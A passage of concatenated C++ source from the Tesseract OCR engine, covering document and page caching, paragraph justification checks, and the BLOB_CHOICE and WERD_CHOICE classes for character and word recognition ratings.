const GenericVector<STRING>& texts,
const GenericVector<int>& box_pages);
private:
// Saves the given Pix as a PNG-encoded string and destroys it.
static void SetPixInternal(Pix* pix, GenericVector<char>* image_data);
// Returns the Pix image for the image_data. Must be pixDestroyed after use.
static Pix* GetPixInternal(const GenericVector<char>& image_data);
// Parses the text string as a box file and adds any discovered boxes that
// match the page number. Returns false on error.
bool AddBoxes(const char* box_text);
private:
STRING imagefilename_; // File to read image from.
inT32 page_number_; // Page number if multi-page tif or -1.
GenericVector<char> image_data_; // PNG file data.
STRING language_; // Language code for image.
STRING transcription_; // UTF-8 ground truth of image.
GenericVector<TBOX> boxes_; // If non-empty boxes of the image.
GenericVector<STRING> box_texts_; // String for text in each box.
bool vertical_text_; // Image has been rotated from vertical.
};
// A collection of ImageData that knows roughly how much memory it is using.
class DocumentData {
public:
explicit DocumentData(const STRING& name);
~DocumentData();
// Reads all the pages in the given lstmf filename to the cache. The reader
// is used to read the file.
bool LoadDocument(const char* filename, const char* lang, int start_page,
inT64 max_memory, FileReader reader);
// Writes all the pages to the given filename. Returns false on error.
bool SaveDocument(const char* filename, FileWriter writer);
bool SaveToBuffer(GenericVector<char>* buffer);
// Adds the given page data to this document, counting up memory.
void AddPageToDocument(ImageData* page);
const STRING& document_name() const {
return document_name_;
}
int NumPages() const {
return total_pages_;
}
inT64 memory_used() const {
return memory_used_;
}
// Returns a pointer to the page with the given index, modulo the total
// number of pages, recaching if needed.
const ImageData* GetPage(int index);
// Takes ownership of the given page index. The page is made NULL in *this.
ImageData* TakePage(int index) {
ImageData* page = pages_[index];
pages_[index] = NULL;
return page;
}
private:
// Loads as many pages can fit in max_memory_ starting at index pages_offset_.
bool ReCachePages();
private:
// A name for this document.
STRING document_name_;
// The language of this document.
STRING lang_;
// A group of pages that corresponds in some loose way to a document.
PointerVector<ImageData> pages_;
// Page number of the first index in pages_.
int pages_offset_;
// Total number of pages in document (may exceed size of pages_.)
int total_pages_;
// Total of all pix sizes in the document.
inT64 memory_used_;
// Max memory to use at any time.
inT64 max_memory_;
// Saved reader from LoadDocument to allow re-caching.
FileReader reader_;
};
// A collection of DocumentData that knows roughly how much memory it is using.
class DocumentCache {
public:
explicit DocumentCache(inT64 max_memory);
~DocumentCache();
// Adds all the documents in the list of filenames, counting memory.
// The reader is used to read the files.
bool LoadDocuments(const GenericVector<STRING>& filenames, const char* lang,
FileReader reader);
// Adds document to the cache, throwing out other documents if needed.
bool AddToCache(DocumentData* data);
// Finds and returns a document by name.
DocumentData* FindDocument(const STRING& document_name) const;
// Returns a page by serial number, selecting them in a round-robin fashion
// from all the documents.
const ImageData* GetPageBySerial(int serial);
const PointerVector<DocumentData>& documents() const {
return documents_;
}
int total_pages() const {
return total_pages_;
}
private:
// A group of pages that corresponds in some loose way to a document.
PointerVector<DocumentData> documents_;
// Total of all pages.
int total_pages_;
// Total of all memory used by the cache.
inT64 memory_used_;
// Max memory allowed in this cache.
inT64 max_memory_;
};
} // namespace tesseract
#endif // TESSERACT_IMAGE_IMAGEDATA_H_
| C++ |
/////////////////////////////////////////////////////////////////////
// File: ocrpara.h
// Description: OCR Paragraph Output Type
// Author: David Eger
// Created: 2010-11-15
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include "ocrpara.h"
#include "host.h" // For NearlyEqual()
ELISTIZE(PARA)
using tesseract::JUSTIFICATION_LEFT;
using tesseract::JUSTIFICATION_RIGHT;
using tesseract::JUSTIFICATION_CENTER;
using tesseract::JUSTIFICATION_UNKNOWN;
static STRING ParagraphJustificationToString(
tesseract::ParagraphJustification justification) {
switch (justification) {
case JUSTIFICATION_LEFT:
return "LEFT";
case JUSTIFICATION_RIGHT:
return "RIGHT";
case JUSTIFICATION_CENTER:
return "CENTER";
default:
return "UNKNOWN";
}
}
bool ParagraphModel::ValidFirstLine(int lmargin, int lindent,
int rindent, int rmargin) const {
switch (justification_) {
case JUSTIFICATION_LEFT:
return NearlyEqual(lmargin + lindent, margin_ + first_indent_,
tolerance_);
case JUSTIFICATION_RIGHT:
return NearlyEqual(rmargin + rindent, margin_ + first_indent_,
tolerance_);
case JUSTIFICATION_CENTER:
return NearlyEqual(lindent, rindent, tolerance_ * 2);
default:
// shouldn't happen
return false;
}
}
bool ParagraphModel::ValidBodyLine(int lmargin, int lindent,
int rindent, int rmargin) const {
switch (justification_) {
case JUSTIFICATION_LEFT:
return NearlyEqual(lmargin + lindent, margin_ + body_indent_,
tolerance_);
case JUSTIFICATION_RIGHT:
return NearlyEqual(rmargin + rindent, margin_ + body_indent_,
tolerance_);
case JUSTIFICATION_CENTER:
return NearlyEqual(lindent, rindent, tolerance_ * 2);
default:
// shouldn't happen
return false;
}
}
bool ParagraphModel::Comparable(const ParagraphModel &other) const {
if (justification_ != other.justification_)
return false;
if (justification_ == JUSTIFICATION_CENTER ||
justification_ == JUSTIFICATION_UNKNOWN)
return true;
int tolerance = (tolerance_ + other.tolerance_) / 4;
return NearlyEqual(margin_ + first_indent_,
other.margin_ + other.first_indent_, tolerance) &&
NearlyEqual(margin_ + body_indent_,
other.margin_ + other.body_indent_, tolerance);
}
STRING ParagraphModel::ToString() const {
char buffer[200];
const STRING &alignment = ParagraphJustificationToString(justification_);
snprintf(buffer, sizeof(buffer),
"margin: %d, first_indent: %d, body_indent: %d, alignment: %s",
margin_, first_indent_, body_indent_, alignment.string());
return STRING(buffer);
}
| C++ |
/**********************************************************************
* File: ratngs.cpp (Formerly ratings.c)
* Description: Code to manipulate the BLOB_CHOICE and WERD_CHOICE classes.
* Author: Ray Smith
* Created: Thu Apr 23 13:23:29 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include "ratngs.h"
#include "blobs.h"
#include "callcpp.h"
#include "genericvector.h"
#include "matrix.h"
#include "normalis.h" // kBlnBaselineOffset.
#include "unicharset.h"
using tesseract::ScriptPos;
ELISTIZE(BLOB_CHOICE);
ELISTIZE(WERD_CHOICE);
const float WERD_CHOICE::kBadRating = 100000.0;
// Min offset in baseline-normalized coords to make a character a subscript.
const int kMinSubscriptOffset = 20;
// Min offset in baseline-normalized coords to make a character a superscript.
const int kMinSuperscriptOffset = 20;
// Max y of bottom of a drop-cap blob.
const int kMaxDropCapBottom = -128;
// Max fraction of x-height to use as denominator in measuring x-height overlap.
const double kMaxOverlapDenominator = 0.125;
// Min fraction of x-height range that should be in agreement for matching
// x-heights.
const double kMinXHeightMatch = 0.5;
// Max tolerance on baseline position as a fraction of x-height for matching
// baselines.
const double kMaxBaselineDrift = 0.0625;
static const char kPermuterTypeNoPerm[] = "None";
static const char kPermuterTypePuncPerm[] = "Punctuation";
static const char kPermuterTypeTopPerm[] = "Top Choice";
static const char kPermuterTypeLowerPerm[] = "Top Lower Case";
static const char kPermuterTypeUpperPerm[] = "Top Upper Case";
static const char kPermuterTypeNgramPerm[] = "Ngram";
static const char kPermuterTypeNumberPerm[] = "Number";
static const char kPermuterTypeUserPatPerm[] = "User Pattern";
static const char kPermuterTypeSysDawgPerm[] = "System Dictionary";
static const char kPermuterTypeDocDawgPerm[] = "Document Dictionary";
static const char kPermuterTypeUserDawgPerm[] = "User Dictionary";
static const char kPermuterTypeFreqDawgPerm[] = "Frequent Words Dictionary";
static const char kPermuterTypeCompoundPerm[] = "Compound";
static const char * const kPermuterTypeNames[] = {
kPermuterTypeNoPerm, // 0
kPermuterTypePuncPerm, // 1
kPermuterTypeTopPerm, // 2
kPermuterTypeLowerPerm, // 3
kPermuterTypeUpperPerm, // 4
kPermuterTypeNgramPerm, // 5
kPermuterTypeNumberPerm, // 6
kPermuterTypeUserPatPerm, // 7
kPermuterTypeSysDawgPerm, // 8
kPermuterTypeDocDawgPerm, // 9
kPermuterTypeUserDawgPerm, // 10
kPermuterTypeFreqDawgPerm, // 11
kPermuterTypeCompoundPerm // 12
};
/**
* BLOB_CHOICE::BLOB_CHOICE
*
* Constructor to build a BLOB_CHOICE from a char, rating and certainty.
*/
BLOB_CHOICE::BLOB_CHOICE(UNICHAR_ID src_unichar_id, // character id
float src_rating, // rating
float src_cert, // certainty
inT16 src_fontinfo_id, // font
inT16 src_fontinfo_id2, // 2nd choice font
int src_script_id, // script
float min_xheight, // min xheight allowed
float max_xheight, // max xheight by this char
float yshift, // yshift out of position
BlobChoiceClassifier c) { // adapted match or other
unichar_id_ = src_unichar_id;
rating_ = src_rating;
certainty_ = src_cert;
fontinfo_id_ = src_fontinfo_id;
fontinfo_id2_ = src_fontinfo_id2;
script_id_ = src_script_id;
min_xheight_ = min_xheight;
max_xheight_ = max_xheight;
yshift_ = yshift;
classifier_ = c;
}
/**
* BLOB_CHOICE::BLOB_CHOICE
*
* Constructor to build a BLOB_CHOICE from another BLOB_CHOICE.
*/
BLOB_CHOICE::BLOB_CHOICE(const BLOB_CHOICE &other) {
unichar_id_ = other.unichar_id();
rating_ = other.rating();
certainty_ = other.certainty();
fontinfo_id_ = other.fontinfo_id();
fontinfo_id2_ = other.fontinfo_id2();
script_id_ = other.script_id();
matrix_cell_ = other.matrix_cell_;
min_xheight_ = other.min_xheight_;
max_xheight_ = other.max_xheight_;
yshift_ = other.yshift();
classifier_ = other.classifier_;
}
// Returns true if *this and other agree on the baseline and x-height
// to within some tolerance based on a given estimate of the x-height.
bool BLOB_CHOICE::PosAndSizeAgree(const BLOB_CHOICE& other, float x_height,
bool debug) const {
double baseline_diff = fabs(yshift() - other.yshift());
if (baseline_diff > kMaxBaselineDrift * x_height) {
if (debug) {
tprintf("Baseline diff %g for %d v %d\n",
baseline_diff, unichar_id_, other.unichar_id_);
}
return false;
}
double this_range = max_xheight() - min_xheight();
double other_range = other.max_xheight() - other.min_xheight();
double denominator = ClipToRange(MIN(this_range, other_range),
1.0, kMaxOverlapDenominator * x_height);
double overlap = MIN(max_xheight(), other.max_xheight()) -
MAX(min_xheight(), other.min_xheight());
overlap /= denominator;
if (debug) {
tprintf("PosAndSize for %d v %d: bl diff = %g, ranges %g, %g / %g ->%g\n",
unichar_id_, other.unichar_id_, baseline_diff,
this_range, other_range, denominator, overlap);
}
return overlap >= kMinXHeightMatch;
}
// Helper to find the BLOB_CHOICE in the bc_list that matches the given
// unichar_id, or NULL if there is no match.
BLOB_CHOICE* FindMatchingChoice(UNICHAR_ID char_id,
BLOB_CHOICE_LIST* bc_list) {
// Find the corresponding best BLOB_CHOICE.
BLOB_CHOICE_IT choice_it(bc_list);
for (choice_it.mark_cycle_pt(); !choice_it.cycled_list();
choice_it.forward()) {
BLOB_CHOICE* choice = choice_it.data();
if (choice->unichar_id() == char_id) {
return choice;
}
}
return NULL;
}
const char *WERD_CHOICE::permuter_name(uinT8 permuter) {
return kPermuterTypeNames[permuter];
}
namespace tesseract {
const char *ScriptPosToString(enum ScriptPos script_pos) {
switch (script_pos) {
case SP_NORMAL: return "NORM";
case SP_SUBSCRIPT: return "SUB";
case SP_SUPERSCRIPT: return "SUPER";
case SP_DROPCAP: return "DROPC";
}
return "SP_UNKNOWN";
}
} // namespace tesseract.
/**
* WERD_CHOICE::WERD_CHOICE
*
* Constructor to build a WERD_CHOICE from the given string.
* The function assumes that src_string is not NULL.
*/
WERD_CHOICE::WERD_CHOICE(const char *src_string,
const UNICHARSET &unicharset)
: unicharset_(&unicharset){
GenericVector<UNICHAR_ID> encoding;
GenericVector<char> lengths;
if (unicharset.encode_string(src_string, true, &encoding, &lengths, NULL)) {
lengths.push_back('\0');
STRING src_lengths = &lengths[0];
this->init(src_string, src_lengths.string(), 0.0, 0.0, NO_PERM);
} else { // There must have been an invalid unichar in the string.
this->init(8);
this->make_bad();
}
}
/**
* WERD_CHOICE::init
*
* Helper function to build a WERD_CHOICE from the given string,
* fragment lengths, rating, certainty and permuter.
*
* The function assumes that src_string is not NULL.
* src_lengths argument could be NULL, in which case the unichars
* in src_string are assumed to all be of length 1.
*/
void WERD_CHOICE::init(const char *src_string,
const char *src_lengths,
float src_rating,
float src_certainty,
uinT8 src_permuter) {
int src_string_len = strlen(src_string);
if (src_string_len == 0) {
this->init(8);
} else {
this->init(src_lengths ? strlen(src_lengths): src_string_len);
length_ = reserved_;
int offset = 0;
for (int i = 0; i < length_; ++i) {
int unichar_length = src_lengths ? src_lengths[i] : 1;
unichar_ids_[i] =
unicharset_->unichar_to_id(src_string+offset, unichar_length);
state_[i] = 1;
certainties_[i] = src_certainty;
offset += unichar_length;
}
}
adjust_factor_ = 1.0f;
rating_ = src_rating;
certainty_ = src_certainty;
permuter_ = src_permuter;
dangerous_ambig_found_ = false;
}
/**
* WERD_CHOICE::~WERD_CHOICE
*/
WERD_CHOICE::~WERD_CHOICE() {
delete[] unichar_ids_;
delete[] script_pos_;
delete[] state_;
delete[] certainties_;
}
const char *WERD_CHOICE::permuter_name() const {
return kPermuterTypeNames[permuter_];
}
// Returns the BLOB_CHOICE_LIST corresponding to the given index in the word,
// taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete.
BLOB_CHOICE_LIST* WERD_CHOICE::blob_choices(int index, MATRIX* ratings) const {
MATRIX_COORD coord = MatrixCoord(index);
BLOB_CHOICE_LIST* result = ratings->get(coord.col, coord.row);
if (result == NULL) {
result = new BLOB_CHOICE_LIST;
ratings->put(coord.col, coord.row, result);
}
return result;
}
// Returns the MATRIX_COORD corresponding to the location in the ratings
// MATRIX for the given index into the word.
MATRIX_COORD WERD_CHOICE::MatrixCoord(int index) const {
int col = 0;
for (int i = 0; i < index; ++i)
col += state_[i];
int row = col + state_[index] - 1;
return MATRIX_COORD(col, row);
}
// Sets the entries for the given index from the BLOB_CHOICE, assuming
// unit fragment lengths, but setting the state for this index to blob_count.
void WERD_CHOICE::set_blob_choice(int index, int blob_count,
const BLOB_CHOICE* blob_choice) {
unichar_ids_[index] = blob_choice->unichar_id();
script_pos_[index] = tesseract::SP_NORMAL;
state_[index] = blob_count;
certainties_[index] = blob_choice->certainty();
}
/**
* contains_unichar_id
*
* Returns true if unichar_ids_ contain the given unichar_id, false otherwise.
*/
bool WERD_CHOICE::contains_unichar_id(UNICHAR_ID unichar_id) const {
for (int i = 0; i < length_; ++i) {
if (unichar_ids_[i] == unichar_id) {
return true;
}
}
return false;
}
/**
* remove_unichar_ids
*
* Removes num unichar ids starting from index start from unichar_ids_
* and updates length_ and fragment_lengths_ to reflect this change.
* Note: this function does not modify rating_ and certainty_.
*/
void WERD_CHOICE::remove_unichar_ids(int start, int num) {
ASSERT_HOST(start >= 0 && start + num <= length_);
// Accumulate the states to account for the merged blobs.
for (int i = 0; i < num; ++i) {
if (start > 0)
state_[start - 1] += state_[start + i];
else if (start + num < length_)
state_[start + num] += state_[start + i];
}
for (int i = start; i + num < length_; ++i) {
unichar_ids_[i] = unichar_ids_[i + num];
script_pos_[i] = script_pos_[i + num];
state_[i] = state_[i + num];
certainties_[i] = certainties_[i + num];
}
length_ -= num;
}
/**
* reverse_and_mirror_unichar_ids
*
* Reverses and mirrors unichars in unichar_ids.
*/
void WERD_CHOICE::reverse_and_mirror_unichar_ids() {
for (int i = 0; i < length_ / 2; ++i) {
UNICHAR_ID tmp_id = unichar_ids_[i];
unichar_ids_[i] = unicharset_->get_mirror(unichar_ids_[length_-1-i]);
unichar_ids_[length_-1-i] = unicharset_->get_mirror(tmp_id);
}
if (length_ % 2 != 0) {
unichar_ids_[length_/2] = unicharset_->get_mirror(unichar_ids_[length_/2]);
}
}
/**
* punct_stripped
*
* Returns the half-open interval of unichar_id indices [start, end) which
* enclose the core portion of this word -- the part after stripping
* punctuation from the left and right.
*/
void WERD_CHOICE::punct_stripped(int *start, int *end) const {
*start = 0;
*end = length() - 1;
while (*start < length() &&
unicharset()->get_ispunctuation(unichar_id(*start))) {
(*start)++;
}
while (*end > -1 &&
unicharset()->get_ispunctuation(unichar_id(*end))) {
(*end)--;
}
(*end)++;
}
void WERD_CHOICE::GetNonSuperscriptSpan(int *pstart, int *pend) const {
int end = length();
while (end > 0 &&
unicharset_->get_isdigit(unichar_ids_[end - 1]) &&
BlobPosition(end - 1) == tesseract::SP_SUPERSCRIPT) {
end--;
}
int start = 0;
while (start < end &&
unicharset_->get_isdigit(unichar_ids_[start]) &&
BlobPosition(start) == tesseract::SP_SUPERSCRIPT) {
start++;
}
*pstart = start;
*pend = end;
}
WERD_CHOICE WERD_CHOICE::shallow_copy(int start, int end) const {
ASSERT_HOST(start >= 0 && start <= length_);
ASSERT_HOST(end >= 0 && end <= length_);
if (end < start) { end = start; }
WERD_CHOICE retval(unicharset_, end - start);
for (int i = start; i < end; i++) {
retval.append_unichar_id_space_allocated(
unichar_ids_[i], state_[i], 0.0f, certainties_[i]);
}
return retval;
}
/**
* has_rtl_unichar_id
*
* Returns true if unichar_ids contain at least one "strongly" RTL unichar.
*/
bool WERD_CHOICE::has_rtl_unichar_id() const {
int i;
for (i = 0; i < length_; ++i) {
UNICHARSET::Direction dir = unicharset_->get_direction(unichar_ids_[i]);
if (dir == UNICHARSET::U_RIGHT_TO_LEFT ||
dir == UNICHARSET::U_RIGHT_TO_LEFT_ARABIC) {
return true;
}
}
return false;
}
/**
* string_and_lengths
*
* Populates the given word_str with unichars from unichar_ids and
* and word_lengths_str with the corresponding unichar lengths.
*/
void WERD_CHOICE::string_and_lengths(STRING *word_str,
STRING *word_lengths_str) const {
*word_str = "";
if (word_lengths_str != NULL) *word_lengths_str = "";
for (int i = 0; i < length_; ++i) {
const char *ch = unicharset_->id_to_unichar_ext(unichar_ids_[i]);
*word_str += ch;
if (word_lengths_str != NULL) {
*word_lengths_str += strlen(ch);
}
}
}
/**
* append_unichar_id
*
* Make sure there is enough space in the word for the new unichar id
* and call append_unichar_id_space_allocated().
*/
void WERD_CHOICE::append_unichar_id(
UNICHAR_ID unichar_id, int blob_count,
float rating, float certainty) {
if (length_ == reserved_) {
this->double_the_size();
}
this->append_unichar_id_space_allocated(unichar_id, blob_count,
rating, certainty);
}
/**
* WERD_CHOICE::operator+=
*
* Cat a second word rating on the end of this current one.
* The ratings are added and the confidence is the min.
* If the permuters are NOT the same the permuter is set to COMPOUND_PERM
*/
WERD_CHOICE & WERD_CHOICE::operator+= (const WERD_CHOICE & second) {
ASSERT_HOST(unicharset_ == second.unicharset_);
while (reserved_ < length_ + second.length()) {
this->double_the_size();
}
const UNICHAR_ID *other_unichar_ids = second.unichar_ids();
for (int i = 0; i < second.length(); ++i) {
unichar_ids_[length_ + i] = other_unichar_ids[i];
state_[length_ + i] = second.state_[i];
certainties_[length_ + i] = second.certainties_[i];
script_pos_[length_ + i] = second.BlobPosition(i);
}
length_ += second.length();
if (second.adjust_factor_ > adjust_factor_)
adjust_factor_ = second.adjust_factor_;
rating_ += second.rating(); // add ratings
if (second.certainty() < certainty_) // take min
certainty_ = second.certainty();
if (second.dangerous_ambig_found_)
dangerous_ambig_found_ = true;
if (permuter_ == NO_PERM) {
permuter_ = second.permuter();
} else if (second.permuter() != NO_PERM &&
second.permuter() != permuter_) {
permuter_ = COMPOUND_PERM;
}
return *this;
}
/**
* WERD_CHOICE::operator=
*
* Allocate enough memory to hold a copy of source and copy over
* all the information from source to this WERD_CHOICE.
*/
WERD_CHOICE& WERD_CHOICE::operator=(const WERD_CHOICE& source) {
while (reserved_ < source.length()) {
this->double_the_size();
}
unicharset_ = source.unicharset_;
const UNICHAR_ID *other_unichar_ids = source.unichar_ids();
for (int i = 0; i < source.length(); ++i) {
unichar_ids_[i] = other_unichar_ids[i];
state_[i] = source.state_[i];
certainties_[i] = source.certainties_[i];
script_pos_[i] = source.BlobPosition(i);
}
length_ = source.length();
adjust_factor_ = source.adjust_factor_;
rating_ = source.rating();
certainty_ = source.certainty();
min_x_height_ = source.min_x_height();
max_x_height_ = source.max_x_height();
permuter_ = source.permuter();
dangerous_ambig_found_ = source.dangerous_ambig_found_;
return *this;
}
// Sets up the script_pos_ member using the blobs_list to get the bln
// bounding boxes, *this to get the unichars, and this->unicharset
// to get the target positions. If small_caps is true, sub/super are not
// considered, but dropcaps are.
// NOTE: blobs_list should be the chopped_word blobs. (Fully segemented.)
void WERD_CHOICE::SetScriptPositions(bool small_caps, TWERD* word) {
// Since WERD_CHOICE isn't supposed to depend on a Tesseract,
// we don't have easy access to the flags Tesseract stores. Therefore, debug
// for this module is hard compiled in.
int debug = 0;
// Initialize to normal.
for (int i = 0; i < length_; ++i)
script_pos_[i] = tesseract::SP_NORMAL;
if (word->blobs.empty() || word->NumBlobs() != TotalOfStates()) {
return;
}
int position_counts[4];
for (int i = 0; i < 4; i++) {
position_counts[i] = 0;
}
int chunk_index = 0;
for (int blob_index = 0; blob_index < length_; ++blob_index, ++chunk_index) {
TBLOB* tblob = word->blobs[chunk_index];
int uni_id = unichar_id(blob_index);
TBOX blob_box = tblob->bounding_box();
if (state_ != NULL) {
for (int i = 1; i < state_[blob_index]; ++i) {
++chunk_index;
tblob = word->blobs[chunk_index];
blob_box += tblob->bounding_box();
}
}
script_pos_[blob_index] = ScriptPositionOf(false, *unicharset_, blob_box,
uni_id);
if (small_caps && script_pos_[blob_index] != tesseract::SP_DROPCAP) {
script_pos_[blob_index] = tesseract::SP_NORMAL;
}
position_counts[script_pos_[blob_index]]++;
}
// If almost everything looks like a superscript or subscript,
// we most likely just got the baseline wrong.
if (position_counts[tesseract::SP_SUBSCRIPT] > 0.75 * length_ ||
position_counts[tesseract::SP_SUPERSCRIPT] > 0.75 * length_) {
if (debug >= 2) {
tprintf("Most characters of %s are subscript or superscript.\n"
"That seems wrong, so I'll assume we got the baseline wrong\n",
unichar_string().string());
}
for (int i = 0; i < length_; i++) {
ScriptPos sp = script_pos_[i];
if (sp == tesseract::SP_SUBSCRIPT || sp == tesseract::SP_SUPERSCRIPT) {
position_counts[sp]--;
position_counts[tesseract::SP_NORMAL]++;
script_pos_[i] = tesseract::SP_NORMAL;
}
}
}
if ((debug >= 1 && position_counts[tesseract::SP_NORMAL] < length_) ||
debug >= 2) {
tprintf("SetScriptPosition on %s\n", unichar_string().string());
int chunk_index = 0;
for (int blob_index = 0; blob_index < length_; ++blob_index) {
if (debug >= 2 || script_pos_[blob_index] != tesseract::SP_NORMAL) {
TBLOB* tblob = word->blobs[chunk_index];
ScriptPositionOf(true, *unicharset_, tblob->bounding_box(),
unichar_id(blob_index));
}
chunk_index += state_ != NULL ? state_[blob_index] : 1;
}
}
}
// Sets the script_pos_ member from some source positions with a given length.
void WERD_CHOICE::SetScriptPositions(const tesseract::ScriptPos* positions,
int length) {
ASSERT_HOST(length == length_);
if (positions != script_pos_) {
delete [] script_pos_;
script_pos_ = new ScriptPos[length];
memcpy(script_pos_, positions, sizeof(positions[0]) * length);
}
}
// Sets all the script_pos_ positions to the given position.
void WERD_CHOICE::SetAllScriptPositions(tesseract::ScriptPos position) {
for (int i = 0; i < length_; ++i)
script_pos_[i] = position;
}
/* static */
ScriptPos WERD_CHOICE::ScriptPositionOf(bool print_debug,
const UNICHARSET& unicharset,
const TBOX& blob_box,
UNICHAR_ID unichar_id) {
ScriptPos retval = tesseract::SP_NORMAL;
int top = blob_box.top();
int bottom = blob_box.bottom();
int min_bottom, max_bottom, min_top, max_top;
unicharset.get_top_bottom(unichar_id,
&min_bottom, &max_bottom,
&min_top, &max_top);
int sub_thresh_top = min_top - kMinSubscriptOffset;
int sub_thresh_bot = kBlnBaselineOffset - kMinSubscriptOffset;
int sup_thresh_bot = max_bottom + kMinSuperscriptOffset;
if (bottom <= kMaxDropCapBottom) {
retval = tesseract::SP_DROPCAP;
} else if (top < sub_thresh_top && bottom < sub_thresh_bot) {
retval = tesseract::SP_SUBSCRIPT;
} else if (bottom > sup_thresh_bot) {
retval = tesseract::SP_SUPERSCRIPT;
}
if (print_debug) {
const char *pos = ScriptPosToString(retval);
tprintf("%s Character %s[bot:%d top: %d] "
"bot_range[%d,%d] top_range[%d, %d] "
"sub_thresh[bot:%d top:%d] sup_thresh_bot %d\n",
pos, unicharset.id_to_unichar(unichar_id),
bottom, top,
min_bottom, max_bottom, min_top, max_top,
sub_thresh_bot, sub_thresh_top,
sup_thresh_bot);
}
return retval;
}
// Returns the script-id (eg Han) of the dominant script in the word.
int WERD_CHOICE::GetTopScriptID() const {
int max_script = unicharset_->get_script_table_size();
int *sid = new int[max_script];
int x;
for (x = 0; x < max_script; x++) sid[x] = 0;
for (x = 0; x < length_; ++x) {
int script_id = unicharset_->get_script(unichar_id(x));
sid[script_id]++;
}
if (unicharset_->han_sid() != unicharset_->null_sid()) {
// Add the Hiragana & Katakana counts to Han and zero them out.
if (unicharset_->hiragana_sid() != unicharset_->null_sid()) {
sid[unicharset_->han_sid()] += sid[unicharset_->hiragana_sid()];
sid[unicharset_->hiragana_sid()] = 0;
}
if (unicharset_->katakana_sid() != unicharset_->null_sid()) {
sid[unicharset_->han_sid()] += sid[unicharset_->katakana_sid()];
sid[unicharset_->katakana_sid()] = 0;
}
}
// Note that high script ID overrides lower one on a tie, thus biasing
// towards non-Common script (if sorted that way in unicharset file).
int max_sid = 0;
for (x = 1; x < max_script; x++)
if (sid[x] >= sid[max_sid]) max_sid = x;
if (sid[max_sid] < length_ / 2)
max_sid = unicharset_->null_sid();
delete[] sid;
return max_sid;
}
// Fixes the state_ for a chop at the given blob_posiiton.
void WERD_CHOICE::UpdateStateForSplit(int blob_position) {
int total_chunks = 0;
for (int i = 0; i < length_; ++i) {
total_chunks += state_[i];
if (total_chunks > blob_position) {
++state_[i];
return;
}
}
}
// Returns the sum of all the state elements, being the total number of blobs.
int WERD_CHOICE::TotalOfStates() const {
int total_chunks = 0;
for (int i = 0; i < length_; ++i) {
total_chunks += state_[i];
}
return total_chunks;
}
/**
* WERD_CHOICE::print
*
* Print WERD_CHOICE to stdout.
*/
void WERD_CHOICE::print(const char *msg) const {
tprintf("%s : ", msg);
for (int i = 0; i < length_; ++i) {
tprintf("%s", unicharset_->id_to_unichar(unichar_ids_[i]));
}
tprintf(" : R=%g, C=%g, F=%g, Perm=%d, xht=[%g,%g], ambig=%d\n",
rating_, certainty_, adjust_factor_, permuter_,
min_x_height_, max_x_height_, dangerous_ambig_found_);
tprintf("pos");
for (int i = 0; i < length_; ++i) {
tprintf("\t%s", ScriptPosToString(script_pos_[i]));
}
tprintf("\nstr");
for (int i = 0; i < length_; ++i) {
tprintf("\t%s", unicharset_->id_to_unichar(unichar_ids_[i]));
}
tprintf("\nstate:");
for (int i = 0; i < length_; ++i) {
tprintf("\t%d ", state_[i]);
}
tprintf("\nC");
for (int i = 0; i < length_; ++i) {
tprintf("\t%.3f", certainties_[i]);
}
tprintf("\n");
}
// Prints the segmentation state with an introductory message.
void WERD_CHOICE::print_state(const char *msg) const {
tprintf("%s", msg);
for (int i = 0; i < length_; ++i)
tprintf(" %d", state_[i]);
tprintf("\n");
}
// Displays the segmentation state of *this (if not the same as the last
// one displayed) and waits for a click in the window.
void WERD_CHOICE::DisplaySegmentation(TWERD* word) {
#ifndef GRAPHICS_DISABLED
// Number of different colors to draw with.
const int kNumColors = 6;
static ScrollView *segm_window = NULL;
// Check the state against the static prev_drawn_state.
static GenericVector<int> prev_drawn_state;
bool already_done = prev_drawn_state.size() == length_;
if (!already_done) prev_drawn_state.init_to_size(length_, 0);
for (int i = 0; i < length_; ++i) {
if (prev_drawn_state[i] != state_[i]) {
already_done = false;
}
prev_drawn_state[i] = state_[i];
}
if (already_done || word->blobs.empty()) return;
// Create the window if needed.
if (segm_window == NULL) {
segm_window = new ScrollView("Segmentation", 5, 10, 500, 256,
2000.0, 256.0, true);
} else {
segm_window->Clear();
}
TBOX bbox;
int blob_index = 0;
for (int c = 0; c < length_; ++c) {
ScrollView::Color color =
static_cast<ScrollView::Color>(c % kNumColors + 3);
for (int i = 0; i < state_[c]; ++i, ++blob_index) {
TBLOB* blob = word->blobs[blob_index];
bbox += blob->bounding_box();
blob->plot(segm_window, color, color);
}
}
segm_window->ZoomToRectangle(bbox.left(), bbox.top(),
bbox.right(), bbox.bottom());
segm_window->Update();
window_wait(segm_window);
#endif
}
bool EqualIgnoringCaseAndTerminalPunct(const WERD_CHOICE &word1,
const WERD_CHOICE &word2) {
const UNICHARSET *uchset = word1.unicharset();
if (word2.unicharset() != uchset) return false;
int w1start, w1end;
word1.punct_stripped(&w1start, &w1end);
int w2start, w2end;
word2.punct_stripped(&w2start, &w2end);
if (w1end - w1start != w2end - w2start) return false;
for (int i = 0; i < w1end - w1start; i++) {
if (uchset->to_lower(word1.unichar_id(w1start + i)) !=
uchset->to_lower(word2.unichar_id(w2start + i))) {
return false;
}
}
return true;
}
/**
* print_ratings_list
*
* Send all the ratings out to the logfile.
*
* @param msg intro message
* @param ratings list of ratings
* @param current_unicharset unicharset that can be used
* for id-to-unichar conversion
*/
void print_ratings_list(const char *msg,
BLOB_CHOICE_LIST *ratings,
const UNICHARSET ¤t_unicharset) {
if (ratings->length() == 0) {
tprintf("%s:<none>\n", msg);
return;
}
